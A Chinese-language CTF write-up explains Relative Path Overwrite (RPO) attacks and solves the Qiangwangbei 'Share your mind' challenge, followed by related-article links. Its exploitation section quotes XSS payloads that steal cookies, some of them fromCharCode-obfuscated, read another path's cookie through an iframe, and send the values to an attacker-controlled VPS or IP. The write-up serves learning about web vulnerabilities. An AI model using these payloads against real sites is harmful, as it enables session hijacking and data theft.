RPO攻击 & share your mind
参考文章:
http://www.thespanner.co.uk/2014/03/21/rpo/
https://www.lorexxar.cn/2018/03/26/qwb2018/#share-your-mind
0X01 什么是RPO攻击?
RPO(Relative Path Overwrite)相对路径覆盖,主要是利用浏览器的一些特性和部分服务端的配置以及沟通之间的差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要的目的。
就目前来看此攻击方法依赖于浏览器和网络服务器的反应,基于服务器的Web缓存技术和配置差异,以及服务器和客户端浏览器的解析差异,利用前端代码中加载的css/js的相对路径来加载其他文件,最终浏览器将服务器返回的不是css/js的文件当做css/js来解析,从而导致XSS,信息泄露等漏洞产生。
0X02 需要了解的基础知识
1、phpinfo url 模式
在看漏洞流程之前,我们先介绍一个知识点,就是按照目录方式获取资源,以及phpinfo URL模式。
http://39.107.33.96:/index.php/view/article/
难道有一个目录交index.php吗?不是的,它使用了url rewrite的php开发框架,也叫PHPINFO URL模式
等价于
http://39.107.33.96:/index.php?mod=view&article=
2、关于服务器和客户端浏览器在解析和识别上的差异化
第一个差异化 不同web服务器对url的识别是不一样的。
在Apache中将/编码为%2f后,服务器无法识别url,返回404,但是在Nginx中将/编码为%2f后,服务器可以识别编码后的url,返回200。
第二个差异化 客户端浏览器在加载相对路径文件时是以最后一个/为相对目录加载具体资源文件的。
在Nginx中,编码后的url服务器可以正常识别,也就是说服务器在加载文件时会解码后找到具体文件返回返回客户端。
但是在客户端识别url时是不会解码的,正常情况下解码%2f解码后应该加载的是rpo/xxx/../x.js,最后也就是rpo/x.js文件;而这里加载的是/x.js,所以浏览器是没有解码%2f的。
3、浏览器对CSS的解析
显示的相对URL将查找公开内容,并根据当前域名自动包含该域。相对URL有两种重要的变体,第一种是我们可以使用当前路径并查找其中的目录,如“xyz”或使用通用目录遍历技术,如“../xyz”。要查看这些标记在标记中的工作方式,请查看样式表中常用的相对URL。
<html>
<head>
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
</body>
</html>
上面的链接元素使用相对URL引用“style.css”,具体取决于您所在的站点目录结构中的哪个位置,它将根据该位置加载样式表。例如,如果您在一个名为“xyz”的目录中,则样式表将从“xyz/style.css”加载。
这个有趣的方面是浏览器不知道什么是正确的路径,因为它无法访问服务器的文件系统。没有办法从文件系统外部确定有效的目录结构,只能进行有根据的猜测并使用http状态码来确定它们的存在。
无效的代码
}*{color:#ccc;}
有两种技巧可以忽略涉及选择器的非法代码,具体取决于单个}将运行的CSS解析器还是{}。我们将看看IE compat,因为解析器很松散并且支持CSS表达式。一个CSS表达式如下所示:
*{
xss:expression(alert(1));
}
第一部分是全局选择器“*”,{打开选择器使用自定义属性xss,然后表达式包含执行alert(1)的JavaScript。
测试语句:
Hello {}*{xss:expression(open(alert(1)))}
0X03 分析强网杯 Share your mind 这道题
文章最开始提到过,RPO漏洞就是“相对路径覆盖”,所以要先存在一个相对路径点。

该js成功加载说明漏洞存在,下面从漏洞的payload入手
http://39.107.33.96:/index.php/view/article//..%2f..%2f..%2f..%2findex.php
对于php而言,它获得的请求是url解码后的,%2F会被解码为/,nginx会按照目录的方式来返回我们请求的资源。
所以对于服务器端,也就相当于访问
http://39.107.33.96:/index.php/view/article//../../../../index.php
向上跳了三层,依旧返回index.php页面的内容
但是!服务端和客户端之间产生了沟通差异,浏览器在寻找js资源的时候,并没有对%2f进行解码,就认为
..%2f..%2f..%2f..%2findex.php是一段数据,但是又没有人来接收这段数据,相当于报废。
http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php相当于在文章ID为36967的文章页面传了一个叫..%2f..%2f..%2f..%2findex.php的参数,没有人接收,所以返回的资源就只是http://39.107.33.96:20000/index.php/view/article/36967/的。
浏览器错误理解url后,请求相对路径中请求的资源路径,就变成了http://39.107.33.96:20000/index.php/view/article/36967/..%2f..%2f..%2f..%2findex.php/static/js/jquery.min.js
当我们向服务器提交这个请求的时候,服务器会按照phpinfo模式来读取这个url,
读到..%2f..%2f..%2f..%2findex.php这里就读不下去了,识别不了,退一步,把前面能识别的内容返回回来,也就是http://39.107.33.96:20000/index.php/view/article/36967/
我们看网络里的请求,也可以看到浏览器按照phpinfo的格式来解析url的话,只会访问到能识别的地方

这里要注意,zhaijh只是为了表示这是一个没有用的dir,同理把..%2f..%2f..%2f..%2findex.php当做dir也是一样的。
把http://39.107.33.96:20000/index.php/view/article/36967/的页面内容,也就是alert(1)当做是js文件的内容,带回到了<script>标签中,也就因此,造成了XSS漏洞

0X04 关于这道题漏洞利用
关于这一章我没有自己实现,因为这个做法需要在VPS执行js脚本,我没有这个环境,我尝试用xss平台实现,但未实现成功。第二点,赛后服务器已经关闭了后台的bot,不会反弹信息了,所以这里只做记录。
来自 Ph0rse
之后我们就可以伪造请求,比如(new Image()).src = 'http://VPSIP:Port?'+document.cookie
由于漏洞点过滤了引号,所以可以用fromCharCode进行绕过处理
(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47)+document.cookie;
写这篇文章的时候,后台的自动点击脚本貌似没在运行了,只能我自己触发一下xss,弹个自己的PHPSESSION回来。比赛过程中会有个提示,让你去打二级目录/QWB_fl4g/QWB/
然后使用iframe标签去读二级目录下的cookie
iframe
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
var c =
document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,53,52,46,50,51,53,46,50,51,52,46,54,56,58,50,51,51,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}
VPS处就可以监听到返回的flag~
来自lorexxar
直接打cookie,获得提示HINT=Try to get the cookie of path \"/QWB_fl4g/QWB/\
打子域的cookie即可
var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://xxxxx?xx="+c;
}
不知道为什么一直不执行,各种改也没用,后来改用documen.write写入就好了
document.write(String.fromCharCode(ord(脚本的内容)))
成功打到flag
来自l3m0n
这里面对一些特殊符号也进行了实体化编码,所以加载payload就使用了eval(String.fromCharCode(97))的形式
获取当前根目录的cookie:
b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);
打回来的数据提示Try to get the cookie of path "/QWB_fl4g/QWB/",也就是要获取不同目录下的cookie。可以通过iframe来加载,最后来获取iframe里面的cookie。
var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
var content = i.contentWindow.document.cookie;
location='//ip/'+btoa(content);
}, false);
最后可拿到flag: flag=QWB%7Bflag_is_f43kth4rpo%7D; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
RPO攻击 & share your mind的更多相关文章
- rpo攻击
0 什么是RPO攻击? RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由Gareth Heyes在其发表的文章中提出.主要是利用浏览器的一些特性和部分服 ...
- 再看CVE-2018-12613 phpmyadmin后台文件包含&&RPO攻击
写在前面 因为看了朋友的一篇分析又回头想了想自己去年遇到的这个纠结的问题. 去年写过一篇phpmyadmin后台文件包含的文章,写的非常的草草,并没有分析的过程,只是把自己的问题记了下来.当时纠结于最 ...
- 一篇RPO漏洞挖掘文章翻译加深理解。
这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它.这是一篇很有意思的漏洞挖掘文章. 前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了.但是思路真的牛皮.我决定花费时间和精力研究它们 ...
- 浅析RPO漏洞攻击原理
RPO的全称为Relative Path Overwrite,也就是相对路径覆盖,利用客户端和服务端的差异,通过相对路径来引入我们想要的js或者css文件,从而实现某种攻击. 就目前来看此攻击方法依赖 ...
- RPO(Relative Path Overwrite)
Conception(Relative vs Absolute) Abosolute Path: "/etc/hosts"(in Linux), "C:\Windows\ ...
- 中间人攻击(MITM)姿势总结
相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...
- kali 密码攻击
第八章 密码攻击 作者:Willie L. Pritchett, David De Smet 译者:飞龙 协议:CC BY-NC-SA 4.0 这一章中,我们要探索一些攻击密码来获得用户账户的方式.密 ...
- RTO & RPO
作者:王文洋链接:https://www.zhihu.com/question/30753842/answer/49334210来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明 ...
- Mininet实验 基于Mininet实现BGP路径挟持攻击实验
参考:基于Mininet实现BGP路径挟持攻击实验 实验目的: 掌握如何mininet内模拟AS. 掌握BGP路径挟持的原理和分析过程. 实验原理: 互联网是由相互连接的自治系统AS组成的,通过一个通 ...
随机推荐
- TestNg 8.参数化测试 - xml
有的时候,case需要参数,那么,传餐怎么传? 我的目录结构:首先建一个包叫做parameter,然后在resource里面新建一个parameter.xml文件 看以下代码: ParameterTe ...
- 苹果电脑利用curl下载数据集
在看tensorflow书上迁徙学习的这一部分的时候,书上说利用 curl http://download.tensorflow.org/example_images/flower_photos.tg ...
- apache2 以及https证书配置
环境Ubuntu12.04 server 配置 1,首先在进入找到/etc/apache2/apache2.conf的配置文件,里面有包含了较多配置文件的路径如:httpd.conf/ports.co ...
- (set)产生冠军 hdu2094
产生冠军 Time Limit: 1000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Submi ...
- PV、UV、UIP、VV、CPC、CPM、RPM、CTR解释
PV.UV.UIP.VV.CPC.CPM.RPM.CTR 具体解释 PV:Page View,页面访问量,也就是曝光量. UV:Unique Visitor,独立访客数,同一个访问多次访问也只算1个访 ...
- python自动化开发-[第十三天]-javascript
今日概要 1.javascript简单语法 1.javascript的历史 1992年Nombas开发出C-minus-minus(C--)的嵌入式脚本语言(最初绑定在CEnvi软件中).后将其改名S ...
- Java案例整理
1.随机点名器案例 1.1 案例介绍 随机点名器,即在全班同学中随机的找出一名同学,打印这名同学的个人信息. 此案例在我们昨天课程学习中,已经介绍,现在我们要做的是对原有的案例进行升级,使用 ...
- 2017-12-14python全栈9期第一天第五节之变量、常量、注释
6,变量. 变量:就是将一些运算的中间结果暂存到内存中,以便后续代码调用. 1,必须由数字,字母,下划线任意组合,且不能数字开头. 2,不能是python中的关键字. ['and', 'as', 'a ...
- TF报错解决
一.import tensorflow #h5py/__init__.py:34: FutureWarning: Conversion of the second argument of issubd ...
- golang 缓冲区的终端输入
bufio包实现了有缓冲的I/O.它包装一个io.Reader或io.Writer接口对象,os.stdin就是实现了这个接口 package main import ( "bufio&qu ...